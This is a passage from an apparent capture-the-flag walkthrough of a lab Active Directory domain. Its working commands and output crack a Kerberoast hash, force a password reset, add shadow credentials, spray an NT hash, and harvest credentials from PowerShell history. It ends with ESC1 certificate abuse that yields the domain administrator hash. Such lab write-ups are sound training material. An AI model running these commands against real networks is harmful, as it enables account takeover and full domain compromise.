ba850d8a24d91282722c9733b8896428ceb9c8bc519243bb8f031361fe443229875b59f4227dbeb4137a10fdc674a7f17840e61dac5e5be156a01fc0d8e53f87399bc8a928f54684c3f37d816e5a15716b20fd251ad873d31fa111be5aabe156a033151cedce92cccffda32c011f4ab016f077
a8ca844a245df5e115af0af991760df47cc84d9d3b6e2a091b60665ddfae4564223023f0ed45efbecb50b4d1978cd8e32d44bb722f4eb25999acb360257
```
![[Pasted image 20261017091309.png]]
This account is a memberOf HELPDESKOPS. We can use it to change the password of 3 accounts here. But first let's see if we can crack the hash.
#### Hashcat
```sh
hashcat -m 13100 svc-onboarding.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
```
![[Pasted image 20261017091518.png]]
`svc-onboarding` : `password2510`
# Access as svc-onboarding
Before I try to move laterally again let's see what level of access svc-onboarding has
## nxc
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'svc-onboarding' -p 'password2510' --shares
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\svc-onboarding:password2510
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ Remote Admin
SMB 10.0.0.6 445 WS-IT C$ Default share
SMB 10.0.0.6 445 WS-IT Company READ Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'svc-onboarding' -p 'password2510' --shares
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\svc-onboarding:password2510
SMB 10.0.0.5 445 DC01 [*] Enumerated shares
SMB 10.0.0.5 445 DC01 Share Permissions Remark
SMB 10.0.0.5 445 DC01 ----- ----------- ------
SMB 10.0.0.5 445 DC01 ADMIN$ Remote Admin
SMB 10.0.0.5 445 DC01 C$ Default share
SMB 10.0.0.5 445 DC01 IPC$ READ Remote IPC
SMB 10.0.0.5 445 DC01 NETLOGON READ Logon server share
SMB 10.0.0.5 445 DC01 SYSVOL READ Logon server share
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $ws -u 'svc-onboarding' -p 'password2510'
WINRM 10.0.0.6 5985 WS-IT [*] Windows 11 / Server 2025 Build 26100 (name:WS-IT) (domain:orion.local)
WINRM 10.0.0.6 5985 WS-IT [-] orion.local\svc-onboarding:password2510
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $ws -u 'svc-onboarding' -p 'password2510'
RDP 10.0.0.6 3389 WS-IT [*] Windows 10 or Windows Server 2016 Build 26100 (name:WS-IT) (domain:orion.local) (nla:True)
RDP 10.0.0.6 3389 WS-IT [+] orion.local\svc-onboarding:password2510
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $dc -u 'svc-onboarding' -p 'password2510'
RDP 10.0.0.5 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 26100 (name:DC01) (domain:orion.local) (nla:True)
RDP 10.0.0.5 3389 DC01 [+] orion.local\svc-onboarding:password2510
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $dc -u 'svc-onboarding' -p 'password2510'
WINRM 10.0.0.5 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local)
WINRM 10.0.0.5 5985 DC01 [-] orion.local\svc-onboarding:password2510
```
Same level of access as b.williams
## Lateral Movement - ForceChangePassword
![[Pasted image 20261017091949.png]]
`s.mitchell` has outbound control with *GenericWrite* over 2 users so he will be out target
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'svc-onboarding' -p 'password2510' -M change-password -o USER=s.mitchell NEWPASS=password1
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\svc-onboarding:password2510
CHANGE-P... 10.0.0.5 445 DC01 [+] Successfully changed password for s.mitchell
```
Changed `s.mitchell` password with netexec *change-password* module instead of bloodyad this time
`password1`
# Access as s.mitchell
- Not going to paste it here but we have the same level of access with `s.mitchell` when speaking of remote access and share read write access
![[Pasted image 20261017092659.png]]
`m.white` is a member of `WS-IT-REMOTEACCESS` so we will try to add shadow credentials to him, we could try a targeted kerberoast as well with GenericWrite but shadow credentials is a sure way of gaining access where I don't have to try and crack a hash.
## Lateral Movement - GenericWrite
We only really care about recovering the nt hash as of right now so we'll use certipy-ad to add shadow credentials then remove it after we get a TGT and recover the nt hash for our target account
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ certipy-ad shadow auto -u 's.mitchell' -p 'password1' -dc-ip $dc -account 'm.white'
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'm.white'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '575804c18a9243359d9ea40e1450fcfc'
[*] Adding Key Credential with device ID '575804c18a9243359d9ea40e1450fcfc' to the Key Credentials for 'm.white'
[*] Successfully added Key Credential with device ID '575804c18a9243359d9ea40e1450fcfc' to the Key Credentials for 'm.white'
[*] Authenticating as 'm.white' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: '
[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'm.white.ccache'
[*] Wrote credential cache to 'm.white.ccache'
[*] Trying to retrieve NT hash for 'm.white'
[*] Restoring the old Key Credentials for 'm.white'
[*] Successfully restored the old Key Credentials for 'm.white'
[*] NT hash for 'm.white': 1b4f4e8d871ad063ffded46cc620bbf6
```
# Access as m.white
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'm.white' -H '1b4f4e8d871ad063ffded46cc620bbf6' --shares
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ Remote Admin
SMB 10.0.0.6 445 WS-IT C$ Default share
SMB 10.0.0.6 445 WS-IT Company READ Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'm.white' -H '1b4f4e8d871ad063ffded46cc620bbf6' --shares
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6
SMB 10.0.0.5 445 DC01 [*] Enumerated shares
SMB 10.0.0.5 445 DC01 Share Permissions Remark
SMB 10.0.0.5 445 DC01 ----- ----------- ------
SMB 10.0.0.5 445 DC01 ADMIN$ Remote Admin
SMB 10.0.0.5 445 DC01 C$ Default share
SMB 10.0.0.5 445 DC01 IPC$ READ Remote IPC
SMB 10.0.0.5 445 DC01 NETLOGON READ Logon server share
SMB 10.0.0.5 445 DC01 SYSVOL READ Logon server share
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $ws -u 'm.white' -H '1b4f4e8d871ad063ffded46cc620bbf6'
RDP 10.0.0.6 3389 WS-IT [*] Windows 10 or Windows Server 2016 Build 26100 (name:WS-IT) (domain:orion.local) (nla:True)
RDP 10.0.0.6 3389 WS-IT [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $ws -u 'm.white' -H '1b4f4e8d871ad063ffded46cc620bbf6'
WINRM 10.0.0.6 5985 WS-IT [*] Windows 11 / Server 2025 Build 26100 (name:WS-IT) (domain:orion.local)
WINRM 10.0.0.6 5985 WS-IT [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6 (Pwn3d!)
```
As we assumed we have winrm access as `m.white` to `ws-it`
![[Pasted image 20261017094644.png]]
Got the user flag
After this our user has no outbound control so what do we do now?
## passwordspray
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u users.list -H '1b4f4e8d871ad063ffded46cc620bbf6' --continue-on-success --smb-timeout 30
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [-] orion.local\Administrator:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\Guest:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\krbtgt:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\b.williams:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\j.carter:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\s.mitchell:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\d.brooks:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\m.reeves:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\svc-pki:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [+] orion.local\m.white:1b4f4e8d871ad063ffded46cc620bbf6
SMB 10.0.0.5 445 DC01 [-] orion.local\svc-onboarding:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
SMB 10.0.0.5 445 DC01 [-] orion.local\d.miller:1b4f4e8d871ad063ffded46cc620bbf6 STATUS_LOGON_FAILURE
```
No password reuse
## Powershell history file
```sh
*Evil-WinRM* PS C:\Users\m.white> (Get-PSReadLineOption).HistorySavePath
C:\Users\m.white\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
*Evil-WinRM* PS C:\Users\m.white> gc (Get-PSReadLineOption).HistorySavePath
Cannot find path 'C:\Users\m.white\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt' because it does not exist.
At line:1 char:1
+ gc (Get-PSReadLineOption).HistorySavePath
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:\Users\m.whit...ost_history.txt:String) [Get-Content], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
```
This returned the wrong path I believe, we should always check manually as well when this fails
```sh
*Evil-WinRM* PS C:\Users\m.white\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline> type ConsoleHost_history.txt
Get-Process
Get-ChildItem C:\Shares
cd C:\Shares\IT
dir
ipconfig /all
Test-Connection DC01
$cred = New-Object System.Management.Automation.PSCredential('ORION\m.reeves', (ConvertTo-SecureString 'Pa$word!123' -AsPlainText -Force))
Invoke-Command -ComputerName WS-IT -Credential $cred -ScriptBlock { whoami }
net use Z: \\WS-IT\IT /user:ORION\m.reeves Pa$word!123
Get-EventLog -LogName System -Newest 10
cls
exit
```
We have credentials in the powershell history file
Looks like those credentials are for the user `m.reeves`
# Access as m.reeves
## nxc
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'm.reeves' -p 'Pa$word!123' --shares
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\m.reeves:Pa$word!123
SMB 10.0.0.5 445 DC01 [*] Enumerated shares
SMB 10.0.0.5 445 DC01 Share Permissions Remark
SMB 10.0.0.5 445 DC01 ----- ----------- ------
SMB 10.0.0.5 445 DC01 ADMIN$ Remote Admin
SMB 10.0.0.5 445 DC01 C$ Default share
SMB 10.0.0.5 445 DC01 IPC$ READ Remote IPC
SMB 10.0.0.5 445 DC01 NETLOGON READ Logon server share
SMB 10.0.0.5 445 DC01 SYSVOL READ Logon server share
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $dc -u 'm.reeves' -p 'Pa$word!123'
WINRM 10.0.0.5 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local)
WINRM 10.0.0.5 5985 DC01 [-] orion.local\m.reeves:Pa$word!123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $dc -u 'm.reeves' -p 'Pa$word!123'
RDP 10.0.0.5 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 26100 (name:DC01) (domain:orion.local) (nla:True)
RDP 10.0.0.5 3389 DC01 [+] orion.local\m.reeves:Pa$word!123
```
Credential is valid but not much more access than before
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'm.reeves' -p 'Pa$word!123' --shares
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\m.reeves:Pa$word!123 (Pwn3d!)
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ READ,WRITE Remote Admin
SMB 10.0.0.6 445 WS-IT C$ READ,WRITE Default share
SMB 10.0.0.6 445 WS-IT Company READ Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT READ IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
```
But it appears he is a local admin on this machine
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/smb/IT-share$ impacket-smbclient 'orion.local/m.reeves:Pa$word!123'@$ws
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use IT
# ls
drw-rw-rw- 0 Sat Oct 3 19:56:14 2026 .
drw-rw-rw- 0 Sat Oct 3 19:59:18 2026 ..
drw-rw-rw- 0 Sat Oct 3 19:58:07 2026 Docs
drw-rw-rw- 0 Sat Oct 3 20:15:43 2026 Logs
drw-rw-rw- 0 Sat Oct 3 19:55:54 2026 Scripts
drw-rw-rw- 0 Sat Oct 3 19:56:05 2026 Tools
# tree
/Docs/IT_Policy_Password_Reset.pdf
/Logs/crl-publish.log
/Scripts/Check-DiskSpace.ps1
/Scripts/Cleanup-TempFiles.ps1
/Scripts/Publish-CRL.ps1
/Tools/Autologon.exe
/Tools/ntrights.exe
```
Interesting files in this share
### publish-crl.ps1
![[Pasted image 20261017111956.png]]
If the credentials work here we can probably use it to abuse ADCS
# Access as svc-pki
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/smb/IT-share$ nxc smb $dc -u 'svc-pki' -p 'Pki@Orion2026!' --shares
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\svc-pki:Pki@Orion2026!
SMB 10.0.0.5 445 DC01 [*] Enumerated shares
SMB 10.0.0.5 445 DC01 Share Permissions Remark
SMB 10.0.0.5 445 DC01 ----- ----------- ------
SMB 10.0.0.5 445 DC01 ADMIN$ Remote Admin
SMB 10.0.0.5 445 DC01 C$ Default share
SMB 10.0.0.5 445 DC01 IPC$ READ Remote IPC
SMB 10.0.0.5 445 DC01 NETLOGON READ Logon server share
SMB 10.0.0.5 445 DC01 SYSVOL READ Logon server share
```
Credentials are valid
## ADCS Enumeration
```sh
certipy-ad find -u 'svc-pki' -p 'Pki@Orion2026!' -dc-ip $dc -vulnerable
cat 20261017162303_Certipy.json | jq
```
![[Pasted image 20261017112502.png]]
`svc-pki` has enrollment rights over certificate template `OrionAuth`
- This template is vulnerable to *ESC1*
### Abusing ESC1
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/certipy$ certipy-ad req -u 'svc-pki' -p 'Pki@Orion2026!' -target-ip $dc -ca 'orion-DC01-CA' -template 'OrionAuth' -upn '
[email protected]' -sid 'S-1-5-21-285037524-3800758587-36
41439792-500' -debug -ldap-scheme ldaps -ldap-port 636 -no-ldap-channel-binding
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[+] Nameserver: None
[+] DC IP: None
[+] DC Host: None
[+] Target IP: '10.0.0.5'
[+] Remote Name: '10.0.0.5'
[+] Domain: ''
[+] Username: 'SVC-PKI'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.0.0.5[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.0.0.5[\pipe\cert]
[*] Request ID is 44
[*] Successfully requested certificate
[*] Got certificate with UPN '
[email protected]'
[+] Found SID in SAN URL: 'S-1-5-21-285037524-3800758587-3641439792-500'
[+] Found SID in security extension: 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Certificate object SID is 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Saving certificate and private key to 'administrator.pfx'
[+] Attempting to write data to 'administrator.pfx'
[+] Data written to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```
We were getting a netbios timeout error
- Everything you see after the `-debug` flag I added to make it work. We were trying to use ldap over TCP/389 and it kept failing so we tried ldaps over TCP/636 and it worked
#### Retrieving Domain Admin administrator hash
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/certipy$ certipy-ad auth -pfx administrator.pfx -u 'administrator' -domain 'orion.local' -dc-ip $dc -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.0.0.5'
[+] DC IP: '10.0.0.5'
[+] DC Host: ''
[+] Target IP: '10.0.0.5'
[+] Remote Name: '10.0.0.5'
[+] Domain: ''
[+] Username: 'ADMINISTRATOR'
[*] Certificate identities:
[*] SAN UPN: '
[email protected]'
[*] SAN URL SID: 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Security Extension SID: 'S-1-5-21-285037524-3800758587-3641439792-500'
[+] Found SID in SAN URL: 'S-1-5-21-285037524-3800758587-3641439792-500'
[+] Found SID in security extension: 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Using principal: '
[email protected]'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC orion.local (10.0.0.5)
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[+] Attempting to write data to 'administrator.ccache'
[+] Data written to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '
[email protected]': aad3b435b51404eeaad3b435b51404ee:54c9fa5ad8849c9414602fe021314d49
```
![[Pasted image 20261017113729.png]]